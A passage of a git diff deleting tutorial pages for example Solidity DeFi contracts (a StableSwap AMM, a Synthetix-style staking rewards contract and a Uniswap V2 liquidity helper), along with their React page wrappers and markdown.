-        uint x = xp[i] + dx * multipliers[i];
-
-        uint y0 = xp[j];
-        uint y1 = _getY(i, j, x, xp);
-        // y0 must be >= y1, since x has increased
-        // -1 to round down
-        dy = (y0 - y1 - 1) / multipliers[j];
-
-        // Subtract fee from dy
-        uint fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
-        dy -= fee;
-        require(dy >= minDy, "dy < min");
-
-        balances[i] += dx;
-        balances[j] -= dy;
-
-        IERC20(tokens[j]).transfer(msg.sender, dy);
-    }
-
-    function addLiquidity(
-        uint[N] calldata amounts,
-        uint minShares
-    ) external returns (uint shares) {
-        // calculate current liquidity d0
-        uint _totalSupply = totalSupply;
-        uint d0;
-        uint[N] memory old_xs = _xp();
-        if (_totalSupply > 0) {
-            d0 = _getD(old_xs);
-        }
-
-        // Transfer tokens in
-        uint[N] memory new_xs;
-        for (uint i; i < N; ++i) {
-            uint amount = amounts[i];
-            if (amount > 0) {
-                IERC20(tokens[i]).transferFrom(msg.sender, address(this), amount);
-                new_xs[i] = old_xs[i] + amount * multipliers[i];
-            } else {
-                new_xs[i] = old_xs[i];
-            }
-        }
-
-        // Calculate new liquidity d1
-        uint d1 = _getD(new_xs);
-        require(d1 > d0, "liquidity didn't increase");
-
-        // Reccalcuate D accounting for fee on imbalance
-        uint d2;
-        if (_totalSupply > 0) {
-            for (uint i; i < N; ++i) {
-                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
-                uint idealBalance = (old_xs[i] * d1) / d0;
-                uint diff = Math.abs(new_xs[i], idealBalance);
-                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
-            }
-
-            d2 = _getD(new_xs);
-        } else {
-            d2 = d1;
-        }
-
-        // Update balances
-        for (uint i; i < N; ++i) {
-            balances[i] += amounts[i];
-        }
-
-        // Shares to mint = (d2 - d0) / d0 * total supply
-        // d1 >= d2 >= d0
-        if (_totalSupply > 0) {
-            shares = ((d2 - d0) * _totalSupply) / d0;
-        } else {
-            shares = d2;
-        }
-        require(shares >= minShares, "shares < min");
-        _mint(msg.sender, shares);
-    }
-
-    function removeLiquidity(
-        uint shares,
-        uint[N] calldata minAmountsOut
-    ) external returns (uint[N] memory amountsOut) {
-        uint _totalSupply = totalSupply;
-
-        for (uint i; i < N; ++i) {
-            uint amountOut = (balances[i] * shares) / _totalSupply;
-            require(amountOut >= minAmountsOut[i], "out < min");
-
-            balances[i] -= amountOut;
-            amountsOut[i] = amountOut;
-
-            IERC20(tokens[i]).transfer(msg.sender, amountOut);
-        }
-
-        _burn(msg.sender, shares);
-    }
-
-    /**
-     * @notice Calculate amount of token i to receive for shares
-     * @param shares Shares to burn
-     * @param i Index of token to withdraw
-     * @return dy Amount of token i to receive
-     *         fee Fee for withdraw. Fee already included in dy
-     */
-    function _calcWithdrawOneToken(
-        uint shares,
-        uint i
-    ) private view returns (uint dy, uint fee) {
-        uint _totalSupply = totalSupply;
-        uint[N] memory xp = _xp();
-
-        // Calculate d0 and d1
-        uint d0 = _getD(xp);
-        uint d1 = d0 - (d0 * shares) / _totalSupply;
-
-        // Calculate reduction in y if D = d1
-        uint y0 = _getYD(i, xp, d1);
-        // d1 <= d0 so y must be <= xp[i]
-        uint dy0 = (xp[i] - y0) / multipliers[i];
-
-        // Calculate imbalance fee, update xp with fees
-        uint dx;
-        for (uint j; j < N; ++j) {
-            if (j == i) {
-                dx = (xp[j] * d1) / d0 - y0;
-            } else {
-                // d1 / d0 <= 1
-                dx = xp[j] - (xp[j] * d1) / d0;
-            }
-            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
-        }
-
-        // Recalculate y with xp including imbalance fees
-        uint y1 = _getYD(i, xp, d1);
-        // - 1 to round down
-        dy = (xp[i] - y1 - 1) / multipliers[i];
-        fee = dy0 - dy;
-    }
-
-    function calcWithdrawOneToken(
-        uint shares,
-        uint i
-    ) external view returns (uint dy, uint fee) {
-        return _calcWithdrawOneToken(shares, i);
-    }
-
-    /**
-     * @notice Withdraw liquidity in token i
-     * @param shares Shares to burn
-     * @param i Token to withdraw
-     * @param minAmountOut Minimum amount of token i that must be withdrawn
-     */
-    function removeLiquidityOneToken(
-        uint shares,
-        uint i,
-        uint minAmountOut
-    ) external returns (uint amountOut) {
-        (amountOut, ) = _calcWithdrawOneToken(shares, i);
-        require(amountOut >= minAmountOut, "out < min");
-
-        balances[i] -= amountOut;
-        _burn(msg.sender, shares);
-
-        IERC20(tokens[i]).transfer(msg.sender, amountOut);
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint amount);
-    event Approval(address indexed owner, address indexed spender, uint amount);
-}
-
` - -export default html diff --git a/src/pages/defi/stable-swap-amm/index.md b/src/pages/defi/stable-swap-amm/index.md deleted file mode 100644 index b97c5557e..000000000 --- a/src/pages/defi/stable-swap-amm/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Stable Swap AMM -version: 0.8.20 -description: Curve's stable swap AMM -keywords: [defi, curve, stable, swap, amm] ---- - -Simplified version of Curve's stable swap AMM - -```solidity -{{{StableSwap}}} -``` diff --git a/src/pages/defi/stable-swap-amm/index.tsx b/src/pages/defi/stable-swap-amm/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/stable-swap-amm/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/staking-rewards/StakingRewards.sol b/src/pages/defi/staking-rewards/StakingRewards.sol deleted file mode 100644 index a59901339..000000000 --- a/src/pages/defi/staking-rewards/StakingRewards.sol +++ /dev/null @@ -1,146 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8; - -contract StakingRewards { - IERC20 public immutable stakingToken; - IERC20 public immutable rewardsToken; - - address public owner; - - // Duration of rewards to be paid out (in seconds) - uint public duration; - // Timestamp of when the rewards finish - uint public finishAt; - // Minimum of last updated time and reward finish time - uint public updatedAt; - // Reward to be paid out per second - uint public rewardRate; - // Sum of (reward rate * dt * 1e18 / total supply) - uint public rewardPerTokenStored; - // User address => rewardPerTokenStored - mapping(address => uint) public userRewardPerTokenPaid; - // User address => rewards to be claimed - mapping(address => uint) public rewards; - - // Total staked - uint public totalSupply; - // User address => staked amount - mapping(address => uint) public balanceOf; - - constructor(address _stakingToken, address _rewardToken) { - owner = msg.sender; - stakingToken = IERC20(_stakingToken); - rewardsToken = IERC20(_rewardToken); - } - - modifier onlyOwner() { - require(msg.sender == owner, "not authorized"); - _; - } - - modifier updateReward(address _account) { - rewardPerTokenStored = rewardPerToken(); - updatedAt = lastTimeRewardApplicable(); - - if (_account != address(0)) { - rewards[_account] = earned(_account); - userRewardPerTokenPaid[_account] = rewardPerTokenStored; - } - - _; - } - - function lastTimeRewardApplicable() public view returns (uint) { - return _min(finishAt, block.timestamp); - } - - function rewardPerToken() public view returns (uint) { - if (totalSupply == 0) { - return rewardPerTokenStored; - } - - return - rewardPerTokenStored + - (rewardRate * (lastTimeRewardApplicable() - updatedAt) * 1e18) / - totalSupply; - } - - function stake(uint _amount) external updateReward(msg.sender) { - require(_amount > 0, "amount = 0"); - stakingToken.transferFrom(msg.sender, address(this), _amount); - balanceOf[msg.sender] += _amount; - totalSupply += _amount; - } - - function withdraw(uint _amount) external updateReward(msg.sender) { - require(_amount > 0, "amount = 0"); - balanceOf[msg.sender] -= _amount; - totalSupply -= _amount; - stakingToken.transfer(msg.sender, _amount); - } - - function earned(address _account) public view returns (uint) { - return - ((balanceOf[_account] * - (rewardPerToken() - userRewardPerTokenPaid[_account])) / 1e18) + - rewards[_account]; - } - - function getReward() external updateReward(msg.sender) { - uint reward = rewards[msg.sender]; - if (reward > 0) { - rewards[msg.sender] = 0; - rewardsToken.transfer(msg.sender, reward); - } - } - - function setRewardsDuration(uint _duration) external onlyOwner { - require(finishAt < block.timestamp, "reward duration not finished"); - duration = _duration; - } - - function notifyRewardAmount( - uint _amount - ) external onlyOwner updateReward(address(0)) { - if (block.timestamp >= finishAt) { - rewardRate = _amount / duration; - } else { - uint remainingRewards = (finishAt - block.timestamp) * rewardRate; - rewardRate = (_amount + remainingRewards) / duration; - } - - require(rewardRate > 0, "reward rate = 0"); - require( - rewardRate * duration <= rewardsToken.balanceOf(address(this)), - "reward amount > balance" - ); - - finishAt = block.timestamp + duration; - updatedAt = block.timestamp; - } - - function _min(uint x, uint y) private pure returns (uint) { - return x <= y ? x : y; - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} diff --git a/src/pages/defi/staking-rewards/index.html.ts b/src/pages/defi/staking-rewards/index.html.ts deleted file mode 100644 index 2c42f8215..000000000 --- a/src/pages/defi/staking-rewards/index.html.ts +++ /dev/null @@ -1,167 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Staking Rewards" -export const description = - "Staking rewards contract based on Synthetix StakingRewards.sol" - -export const keywords = ["defi", "staking", "reward", "rewards"] - -export const codes = [ - { - fileName: "StakingRewards.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuODsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludCBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludCBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludCBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkICsKICAgICAgICAgICAgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkgLwogICAgICAgICAgICB0b3RhbFN1cHBseTsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50IF9hbW91bnQpIGV4dGVybmFsIHVwZGF0ZVJld2FyZChtc2cuc2VuZGVyKSB7CiAgICAgICAgcmVxdWlyZShfYW1vdW50ID4gMCwgImFtb3VudCA9IDAiKTsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZWFybmVkKGFkZHJlc3MgX2FjY291bnQpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKChiYWxhbmNlT2ZbX2FjY291bnRdICoKICAgICAgICAgICAgICAgIChyZXdhcmRQZXJUb2tlbigpIC0gdXNlclJld2FyZFBlclRva2VuUGFpZFtfYWNjb3VudF0pKSAvIDFlMTgpICsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludCBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQoCiAgICAgICAgdWludCBfYW1vdW50CiAgICApIGV4dGVybmFsIG9ubHlPd25lciB1cGRhdGVSZXdhcmQoYWRkcmVzcygwKSkgewogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPj0gZmluaXNoQXQpIHsKICAgICAgICAgICAgcmV3YXJkUmF0ZSA9IF9hbW91bnQgLyBkdXJhdGlvbjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1aW50IHJlbWFpbmluZ1Jld2FyZHMgPSAoZmluaXNoQXQgLSBibG9jay50aW1lc3RhbXApICogcmV3YXJkUmF0ZTsKICAgICAgICAgICAgcmV3YXJkUmF0ZSA9IChfYW1vdW50ICsgcmVtYWluaW5nUmV3YXJkcykgLyBkdXJhdGlvbjsKICAgICAgICB9CgogICAgICAgIHJlcXVpcmUocmV3YXJkUmF0ZSA+IDAsICJyZXdhcmQgcmF0ZSA9IDAiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICByZXdhcmRSYXRlICogZHVyYXRpb24gPD0gcmV3YXJkc1Rva2VuLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwKICAgICAgICAgICAgInJld2FyZCBhbW91bnQgPiBiYWxhbmNlIgogICAgICAgICk7CgogICAgICAgIGZpbmlzaEF0ID0gYmxvY2sudGltZXN0YW1wICsgZHVyYXRpb247CiAgICAgICAgdXBkYXRlZEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW4odWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPD0geSA/IHggOiB5OwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgdmFsdWUpOwp9Cg==", - }, -] - -const html = `

This is a minimal example of a contract that rewards users for staking their token.

-

Code is a stripped down version of Synthetix StakingRewards.sol

-

Staking Rewards

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8;
-
-contract StakingRewards {
-    IERC20 public immutable stakingToken;
-    IERC20 public immutable rewardsToken;
-
-    address public owner;
-
-    // Duration of rewards to be paid out (in seconds)
-    uint public duration;
-    // Timestamp of when the rewards finish
-    uint public finishAt;
-    // Minimum of last updated time and reward finish time
-    uint public updatedAt;
-    // Reward to be paid out per second
-    uint public rewardRate;
-    // Sum of (reward rate * dt * 1e18 / total supply)
-    uint public rewardPerTokenStored;
-    // User address => rewardPerTokenStored
-    mapping(address => uint) public userRewardPerTokenPaid;
-    // User address => rewards to be claimed
-    mapping(address => uint) public rewards;
-
-    // Total staked
-    uint public totalSupply;
-    // User address => staked amount
-    mapping(address => uint) public balanceOf;
-
-    constructor(address _stakingToken, address _rewardToken) {
-        owner = msg.sender;
-        stakingToken = IERC20(_stakingToken);
-        rewardsToken = IERC20(_rewardToken);
-    }
-
-    modifier onlyOwner() {
-        require(msg.sender == owner, "not authorized");
-        _;
-    }
-
-    modifier updateReward(address _account) {
-        rewardPerTokenStored = rewardPerToken();
-        updatedAt = lastTimeRewardApplicable();
-
-        if (_account != address(0)) {
-            rewards[_account] = earned(_account);
-            userRewardPerTokenPaid[_account] = rewardPerTokenStored;
-        }
-
-        _;
-    }
-
-    function lastTimeRewardApplicable() public view returns (uint) {
-        return _min(finishAt, block.timestamp);
-    }
-
-    function rewardPerToken() public view returns (uint) {
-        if (totalSupply == 0) {
-            return rewardPerTokenStored;
-        }
-
-        return
-            rewardPerTokenStored +
-            (rewardRate * (lastTimeRewardApplicable() - updatedAt) * 1e18) /
-            totalSupply;
-    }
-
-    function stake(uint _amount) external updateReward(msg.sender) {
-        require(_amount > 0, "amount = 0");
-        stakingToken.transferFrom(msg.sender, address(this), _amount);
-        balanceOf[msg.sender] += _amount;
-        totalSupply += _amount;
-    }
-
-    function withdraw(uint _amount) external updateReward(msg.sender) {
-        require(_amount > 0, "amount = 0");
-        balanceOf[msg.sender] -= _amount;
-        totalSupply -= _amount;
-        stakingToken.transfer(msg.sender, _amount);
-    }
-
-    function earned(address _account) public view returns (uint) {
-        return
-            ((balanceOf[_account] *
-                (rewardPerToken() - userRewardPerTokenPaid[_account])) / 1e18) +
-            rewards[_account];
-    }
-
-    function getReward() external updateReward(msg.sender) {
-        uint reward = rewards[msg.sender];
-        if (reward > 0) {
-            rewards[msg.sender] = 0;
-            rewardsToken.transfer(msg.sender, reward);
-        }
-    }
-
-    function setRewardsDuration(uint _duration) external onlyOwner {
-        require(finishAt < block.timestamp, "reward duration not finished");
-        duration = _duration;
-    }
-
-    function notifyRewardAmount(
-        uint _amount
-    ) external onlyOwner updateReward(address(0)) {
-        if (block.timestamp >= finishAt) {
-            rewardRate = _amount / duration;
-        } else {
-            uint remainingRewards = (finishAt - block.timestamp) * rewardRate;
-            rewardRate = (_amount + remainingRewards) / duration;
-        }
-
-        require(rewardRate > 0, "reward rate = 0");
-        require(
-            rewardRate * duration <= rewardsToken.balanceOf(address(this)),
-            "reward amount > balance"
-        );
-
-        finishAt = block.timestamp + duration;
-        updatedAt = block.timestamp;
-    }
-
-    function _min(uint x, uint y) private pure returns (uint) {
-        return x <= y ? x : y;
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
` - -export default html diff --git a/src/pages/defi/staking-rewards/index.md b/src/pages/defi/staking-rewards/index.md deleted file mode 100644 index f8c2cb646..000000000 --- a/src/pages/defi/staking-rewards/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Staking Rewards -version: 0.8.20 -description: Staking rewards contract based on Synthetix StakingRewards.sol -keywords: [defi, staking, reward, rewards] ---- - -This is a minimal example of a contract that rewards users for staking their token. - -Code is a stripped down version of Synthetix StakingRewards.sol - -### Staking Rewards - -```solidity -{{{StakingRewards}}} -``` diff --git a/src/pages/defi/staking-rewards/index.tsx b/src/pages/defi/staking-rewards/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/staking-rewards/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol b/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol deleted file mode 100644 index 8ab3b25d6..000000000 --- a/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol +++ /dev/null @@ -1,131 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UniswapV2AddLiquidity { - address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; - address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; - address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; - - function addLiquidity( - address _tokenA, - address _tokenB, - uint _amountA, - uint _amountB - ) external { - safeTransferFrom(IERC20(_tokenA), msg.sender, address(this), _amountA); - safeTransferFrom(IERC20(_tokenB), msg.sender, address(this), _amountB); - - safeApprove(IERC20(_tokenA), ROUTER, _amountA); - safeApprove(IERC20(_tokenB), ROUTER, _amountB); - - (uint amountA, uint amountB, uint liquidity) = IUniswapV2Router(ROUTER) - .addLiquidity( - _tokenA, - _tokenB, - _amountA, - _amountB, - 1, - 1, - address(this), - block.timestamp - ); - } - - function removeLiquidity(address _tokenA, address _tokenB) external { - address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB); - - uint liquidity = IERC20(pair).balanceOf(address(this)); - safeApprove(IERC20(pair), ROUTER, liquidity); - - (uint amountA, uint amountB) = IUniswapV2Router(ROUTER).removeLiquidity( - _tokenA, - _tokenB, - liquidity, - 1, - 1, - address(this), - block.timestamp - ); - } - - /** - * @dev The transferFrom function may or may not return a bool. - * The ERC-20 spec returns a bool, but some tokens don't follow the spec. - * Need to check if data is empty or true. - */ - function safeTransferFrom( - IERC20 token, - address sender, - address recipient, - uint amount - ) internal { - (bool success, bytes memory returnData) = address(token).call( - abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount)) - ); - require( - success && (returnData.length == 0 || abi.decode(returnData, (bool))), - "Transfer from fail" - ); - } - - /** - * @dev The approve function may or may not return a bool. - * The ERC-20 spec returns a bool, but some tokens don't follow the spec. - * Need to check if data is empty or true. - */ - function safeApprove(IERC20 token, address spender, uint amount) internal { - (bool success, bytes memory returnData) = address(token).call( - abi.encodeCall(IERC20.approve, (spender, amount)) - ); - require( - success && (returnData.length == 0 || abi.decode(returnData, (bool))), - "Approve fail" - ); - } -} - -interface IUniswapV2Router { - function addLiquidity( - address tokenA, - address tokenB, - uint amountADesired, - uint amountBDesired, - uint amountAMin, - uint amountBMin, - address to, - uint deadline - ) external returns (uint amountA, uint amountB, uint liquidity); - - function removeLiquidity( - address tokenA, - address tokenB, - uint liquidity, - uint amountAMin, - uint amountBMin, - address to, - uint deadline - ) external returns (uint amountA, uint amountB); -} - -interface IUniswapV2Factory { - function getPair(address token0, address token1) external view returns (address); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); -} diff --git a/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2LiquidityTest.sol b/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2LiquidityTest.sol deleted file mode 100644 index 54ac5242b..000000000 --- a/src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2LiquidityTest.sol +++ /dev/null @@ -1,82 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV2Liquidity.sol"; - -IERC20 constant WETH = 